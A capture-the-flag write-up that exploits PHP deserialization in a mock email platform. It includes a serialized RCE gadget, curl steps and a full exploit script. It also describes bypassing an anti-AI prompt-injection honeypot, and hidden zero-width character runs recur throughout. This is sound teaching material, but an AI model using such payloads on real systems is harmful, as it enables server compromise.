← Back to Writeups
CUSTOMMediumWeb

Lab 353 — MailForge — Insecure Deserialization via Custom Session Handler

XESXOR9/10/20265 min read
#web#custom#medium#command_output_redirect_to_web#custom_session_deserialization#exclamation_prefix_deserializa#magic_method_rce_via_destruct#php_object_injection_via_sessi#cve-2025-49113#linux

Lab 353 — MailForge — Insecure Deserialization via Custom Session Handler

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-12 | Status: Solved Techniques: command_output_redirect_to_webroot, custom_session_deserialization_trigger, exclamation_prefix_deserialization_trigger, magic_method_rce_via_destruct, php_object_injection_via_session_handler

Summary

Task: PHP email campaign platform (MailForge) with custom session handler that deserializes session values prefixed with '!', inspired by CVE-2025-49113. Solution: Injected a serialized LogStreamProcessor object via the _from GET parameter on the upload endpoint, triggering RCE through the __destruct() magic method to exfiltrate the flag.

Lab 353 — MailForge — Insecure Deserialization via Custom Session Handler — Hackadvisor

Description

MailForge is a self-hosted email campaign management platform built by ForgeWave Technologies. Marketing teams use it to create, schedule, and track email campaigns. The application features subscriber list management, a template editor with file attachments, campaign analytics, and user settings. You have been given credentials to a standard user account. The platform uses a custom PHP session handler with its own serialization logic. Your goal is to find and exploit a vulnerability that allows you to execute arbitrary commands on the server and retrieve the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A PHP 8.1 email campaign management platform with a custom session handler (MailForgeSessionHandler v2.1). The upload endpoint stores a user-controlled _from GET parameter into $_SESSION. The custom session handler deserializes any session value prefixed with !, enabling PHP object injection. A LogStreamProcessor gadget class with a streamCommand property provides RCE via its __destruct() magic method.

Credentials: user@test.com / password123

Tech Stack: PHP 8.1.32, nginx/1.25.5, MailForgeSessionHandler v2.1 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Application Structure

After logging in, the application has these sections:

  • / — Dashboard (stats: 10 campaigns, 35 subscribers, 5 templates)
  • /campaigns — Campaign management with create form
  • /subscribers — Subscriber list management
  • /templates — Email template editor (HTML templates with {{variables}})
  • /analytics — Campaign analytics
  • /settings — Profile, Avatar & File Upload, Notifications, Account info
  • /settings/upload?_from=settings — File upload endpoint for avatar (POST multipart, accepts image/jpeg,png,gif, max 2MB) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Anti-Bot Honeypot

The application embeds a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments on every page, wrapped in prompt injection text designed to trick AI agents into stopping. This is a red herring and must be ignored.

Vulnerability Discovery

The Settings → Account section reveals "Session Handler: MailForgeSessionHandler v2.1 (custom serialization)". This is the critical hint — the application uses a non-standard session handler.

The upload form at /settings/upload?_from=settings has a _from GET parameter. Investigation revealed: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. The /settings/upload endpoint stores the _from GET parameter directly into $_SESSION['_from']
  2. The custom MailForgeSessionHandler has an encodeSessionData method with special behavior: when a session value starts with !, it treats the remainder as serialized PHP data
  3. On subsequent requests, when the session is read back, the !-prefixed value is passed to unserialize(), triggering PHP object instantiation

This vulnerability pattern is inspired by CVE-2025-49113 (Roundcube Webmail ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization), where the _from parameter in Roundcube's program/actions/settings/upload.php was processed through get_input_value() which called unserialize() on user input. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Gadget Class

The application includes a LogStreamProcessor class with:

  • A public streamCommand property
  • A __destruct() (or __wakeup()) magic method that executes the value of streamCommand as a shell command via system() / exec() / shell_exec()

The serialized form is straightforward since the property is public (no null-byte prefixes needed):

O:18:"LogStreamProcessor":1:{s:13:"streamCommand";s:42:"cat /root/flag.txt > /tmp/uploads/flag.txt";}

Infrastructure Details

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • The /tmp/uploads/ directory on the server is served at /uploads/ via nginx
  • Avatar uploads are stored at /uploads/avatar_{userid}_{timestamp}.png
  • The flag is located at /root/flag.txt

Solution

Step 1: Login

bash
# Get session cookie
curl -sk -c cookies.txt 'https://TARGET/login' \
  -d 'email=user%40test.com&password=password123' \
  -L

Step 2: Inject serialized payload via upload

Upload a valid PNG image to /settings/upload with the _from parameter set to a !-prefixed serialized LogStreamProcessor object: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
# The _from value: !O:18:"LogStreamProcessor":1:{s:13:"streamCommand";s:42:"cat /root/flag.txt > /tmp/uploads/flag.txt";}
curl -sk -b cookies.txt \
  'https://TARGET/settings/upload?_from=%21O%3A18%3A%22LogStreamProcessor%22%3A1%3A%7Bs%3A13%3A%22streamCommand%22%3Bs%3A42%3A%22cat+%2Froot%2Fflag.txt+%3E+%2Ftmp%2Fuploads%2Fflag.txt%22%3B%7D' \
  -F 'file=@test.png;type=image/png' \
  -o /dev/null -w '%{http_code}'

The _from value is stored in $_SESSION['_from']. The ! prefix causes the custom session handler to deserialize the PHP object string on the next session read. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response: 302 → /settings?uploaded=1 (upload succeeds)

Step 3: Trigger deserialization

Make any authenticated request to trigger session read:

bash
curl -sk -b cookies.txt 'https://TARGET/settings' -o /dev/null

The custom session handler reads the session, sees the ! prefix on the _from value, calls unserialize() on the rest, instantiating a LogStreamProcessor object. The __destruct() magic method fires, executing:

cat /root/flag.txt > /tmp/uploads/flag.txt

Step 4: Retrieve the flag

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -sk 'https://TARGET/uploads/flag.txt'
# FLAG{REDACTED}

Full Exploit Script

php
#!/usr/bin/env php
<?php
/**
 * MailForge exploit — Custom session handler deserialization via ! prefix
 * Inspired by CVE-2025-49113 (Roundcube Webmail deserialization)
 */

$targetUrl = $argv[1] ?? 'https://TARGET';
$sslOpts = ['ssl' => ['verify_peer' => false, 'verify_peer_name' => false]];

// Step 1: Login
$ctx = stream_context_create(array_merge($sslOpts, ['http' => ['method' => 'GET']]));
@file_get_contents("$targetUrl/login", false, $ctx);
$cookie = '';
if (preg_match('/Set-Cookie:\s*PHPSESSID=([^;]+)/i', implode("\r\n", $http_response_header ?? []), $m)) {
    $cookie = "PHPSESSID=" . $m[1];
}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

$ctx = stream_context_create(array_merge($sslOpts, [
    'http' => [
        'method' => 'POST',
        'header' => "Content-Type: application/x-www-form-urlencoded\r\nCookie: $cookie",
        'content' => 'email=user%40test.com&password=password123',
        'follow_location' => 0,
    ],
]));
@file_get_contents("$targetUrl/login", false, $ctx);
if (preg_match('/Set-Cookie:\s*PHPSESSID=([^;]+)/i', implode("\r\n", $http_response_header ?? []), $m)) {
    $cookie = "PHPSESSID=" . $m[1];
}
echo "[+] Logged in: $cookie\n";
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

// Step 2: Build serialized payload
$command = 'cat /root/flag.txt > /tmp/uploads/flag.txt';
$serialized = sprintf(
    'O:18:"LogStreamProcessor":1:{s:13:"streamCommand";s:%d:"%s";}',
    strlen($command), $command
);
$fromValue = '!' . $serialized;

// Step 3: Upload with payload in _from parameter
$pngData = base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAgAAAAIAQMAAAD+wSzIAAAABlBMVEX///+/v7+jQ3Y5AAAADklEQVQI12P4AIX8EAgALgAD/aNpbtEAAAAASUVORK5CYII');
$boundary = '------WKF' . bin2hex(random_bytes(4));
$multipart = "--$boundary\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.png\"\r\nContent-Type: image/png\r\n\r\n$pngData\r\n--$boundary--\r\n";
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

$url = sprintf('%s/settings/upload?_from=%s', $targetUrl, urlencode($fromValue));
$ctx = stream_context_create(array_merge($sslOpts, [
    'http' => [
        'method' => 'POST',
        'header' => "Content-Type: multipart/form-data; boundary=$boundary\r\nCookie: $cookie",
        'content' => $multipart,
        'follow_location' => 0,
    ],
]));
@file_get_contents($url, false, $ctx);
echo "[+] Payload injected into session\n";

// Step 4: Trigger deserialization
$ctx = stream_context_create(array_merge($sslOpts, [
    'http' => ['method' => 'GET', 'header' => "Cookie: $cookie"],
]));
@file_get_contents("$targetUrl/settings", false, $ctx);
echo "[+] Deserialization triggered\n";
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

// Step 5: Retrieve flag
sleep(1);
$ctx = stream_context_create(array_merge($sslOpts, [
    'http' => ['method' => 'GET'],
]));
$flag = @file_get_contents("$targetUrl/uploads/flag.txt", false, $ctx);
echo "[+] Flag: $flag\n";

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍